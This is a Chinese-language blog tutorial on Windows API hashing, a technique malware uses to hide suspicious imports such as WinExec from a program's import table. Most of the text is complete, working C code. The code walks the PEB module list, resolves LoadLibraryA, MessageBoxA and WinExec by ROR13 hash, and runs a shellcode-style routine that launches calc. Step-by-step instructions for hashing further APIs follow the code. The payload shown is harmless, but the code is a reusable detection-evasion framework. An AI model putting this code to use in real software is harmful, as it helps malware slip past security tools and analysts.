API Hashing,恶意软件开发者利用这种技术来隐藏从PE的IAT中导入的可疑WindowsAPI,从而提高恶意软件分析和检测难度。

Windows API哈希是一些恶意软件用来避免安全软件检测的技术。该技术涉及使用哈希值(从一段数据生成的唯一值)来标识特定的Windows API(应用程序编程接口)函数。这种技术背后的想法是,安全软件通常使用这些函数的名称来识别恶意软件,因此通过使用哈希值而不是名称,恶意软件可以避免被检测。需要注意的是,这项技术并非万无一失,并且可以被使用其他方法识别恶意活动的安全软件击败。此外,使用这种技术可能会使恶意软件更难分析和逆向工程,这会使其更危险。

问题

如果我们看到二进制文件加载了Ws2_32.dll,基本上就可以断定该恶意程序包含了一些网络功能
如果发现导入了一个RegCreateKeyEx API函数,我们就知道这个恶意程序提供了修改注册表的功能,等等

解决方案

当然恶意开发者,肯定希望避免上述情况,利用 API Hashing,隐藏导入得API,分析人员不深入分析得话很难搞懂这些恶意代码具体行为

演示

这里假设恶意程序Payload:调用 WinEXec API执行系统恶意命令
方便演示恶意命令为:calc 弹出计算机
WinExeceval.PNG

编译之后,用CFF Explorer工具检查该exe,发现调用了kernel32.dll导入了WinExec API函数
IAT表完好无损:WinExec直接暴露
可以断定该程序调用了执行系统命令API
kernel32_winexec.png

asm_winExec.png

实现流程

  1. 获取指定API在本程序得静态库得基址 例:WinExec 在kernel32.dll中
  2. 查找kernel32.dll遍历每个导出的函数名
  3. 对于每个导出的函数名,计算其哈希值
  4. 计算出哈希值对应WinExec得哈希值,导出该对应地址hash
  5. 通过哈希获取API函数地址, 完成API Hashing利用

获取hash地址


gethashapi.png

hash地址加载利用

完整代码

#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(linker,"/entry:Loding_Main")

#define HASH_LoadLibraryA 0x0726774C
#define HASH_MessageBoxA 0x07568345
//WinExec
#define HASH_WinExec 0x876F8B31

//定义函数指针
typedef HMODULE(WINAPI* pfnLoadLibraryA)(LPCSTR lpLibFileName);
typedef int (WINAPI* pfnMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
typedef UINT(WINAPI* pfnWinExec)(__in LPCSTR lpCmdLine, __in UINT uCmdShow);

//重新定义PEB结构。winternl.h中的结构定义是不完整的。
typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOL Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;


//函数指针结构体
typedef struct _FUNCTIONS
{
    pfnLoadLibraryA fnLoadLibraryA;
    pfnMessageBoxA fnMessageBoxA;

    //WinExec
    pfnWinExec fnWinExec;
}Functions, * Pfunctions;

void Initfunctions(Pfunctions pfn);
HMODULE GetProcAddressWithHash(DWORD dwModuleFunctionHash);

//计算哈希值
#define ROTR32(value, shift)    (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))


HMODULE GetProcAddressWithHash(DWORD dwModuleFunctionHash)
{
    PPEB PebAddress;
    PMY_PEB_LDR_DATA pLdr;
    PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
    PVOID pModuleBase;
    PIMAGE_NT_HEADERS pNTHeader;
    DWORD dwExportDirRVA;
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    PLIST_ENTRY pNextModule;
    DWORD dwNumFunctions;
    USHORT usOrdinalTableIndex;
    PDWORD pdwFunctionNameBase;
    PCSTR pFunctionName;
    UNICODE_STRING BaseDllName;
    DWORD dwModuleHash;
    DWORD dwFunctionHash;
    PCSTR pTempChar;
    DWORD i;

#if defined(_WIN64)
    PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
    PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
    __emit(0x00006B1B);
#else
    PebAddress = (PPEB)__readfsdword(0x30);
#endif

    pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
    pNextModule = pLdr->InLoadOrderModuleList.Flink;
    pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;

    while (pDataTableEntry->DllBase != NULL)
    {
        dwModuleHash = 0;
        pModuleBase = pDataTableEntry->DllBase;
        BaseDllName = pDataTableEntry->BaseDllName;
        pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
        dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

        //获取下一个模块地址
        pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;

        // 如果当前模块不导出任何函数,则转到下一个模块 加载模块入口
        if (dwExportDirRVA == 0)
        {
            continue;
        }

        //计算模块哈希值
        for (i = 0; i < BaseDllName.MaximumLength; i++)
        {
            pTempChar = ((PCSTR)BaseDllName.Buffer + i);

            dwModuleHash = ROTR32(dwModuleHash, 13);

            if (*pTempChar >= 0x61)
            {
                dwModuleHash += *pTempChar - 0x20;
            }
            else
            {
                dwModuleHash += *pTempChar;
            }
        }

        pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);

        dwNumFunctions = pExportDir->NumberOfNames;
        pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);

        for (i = 0; i < dwNumFunctions; i++)
        {
            dwFunctionHash = 0;
            pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
            pdwFunctionNameBase++;

            pTempChar = pFunctionName;

            do
            {
                dwFunctionHash = ROTR32(dwFunctionHash, 13);
                dwFunctionHash += *pTempChar;
                pTempChar++;
            } while (*(pTempChar - 1) != 0);

            dwFunctionHash += dwModuleHash;

            if (dwFunctionHash == dwModuleFunctionHash)
            {
                usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
                return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
            }
        }
    }

    return NULL;
}


void Initfunctions(Pfunctions pfn)
{
    //获取LoadLibraryA函数地址
    pfn->fnLoadLibraryA = (pfnLoadLibraryA)GetProcAddressWithHash(HASH_LoadLibraryA);
    //将user32.dll加载到当前进程中
    char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
    pfn->fnLoadLibraryA(szUser32);
    //获取MessageBoxA函数地址
    pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);

    //获取WinExec函数地址
    pfn->fnWinExec = (pfnWinExec)GetProcAddressWithHash(HASH_WinExec);


}





void ShellCode()
{
    Functions fn;
    //动态获取所有需要的函数指针
    Initfunctions(&fn);


    char eval[] = { 'c','a','l','c',0 };

    fn.fnMessageBoxA(NULL,eval,eval,MB_OK);
    fn.fnWinExec(eval, SW_SHOW);

    //WinExec(eval, SW_SHOW);
}

int Loding_Main() {
    ShellCode();
    return 0;
}

步骤-1

定义WinExec hash函数地址
Exec5.PNG

步骤-2

转到WinExec声明,复制声明
Exec1.PNG

步骤-3

粘贴到,定义函数指针
Exec2.PNG

步骤-4

定义函数指针结构体
添加了WinExec
Exec3.PNG

步骤-5

获取WinExec函数地址
Exec4.PNG

步骤-6

调用WinExec
Exec6.PNG

API Hashing简单显示

hash_WinExec.gif

参考:@ired.team
项目地址:https://github.com/TonyChen56/ShellCodeFrame/blob/master/README.md

最后修改:2022 年 12 月 10 日
如果觉得我的文章对你有用,请随意赞赏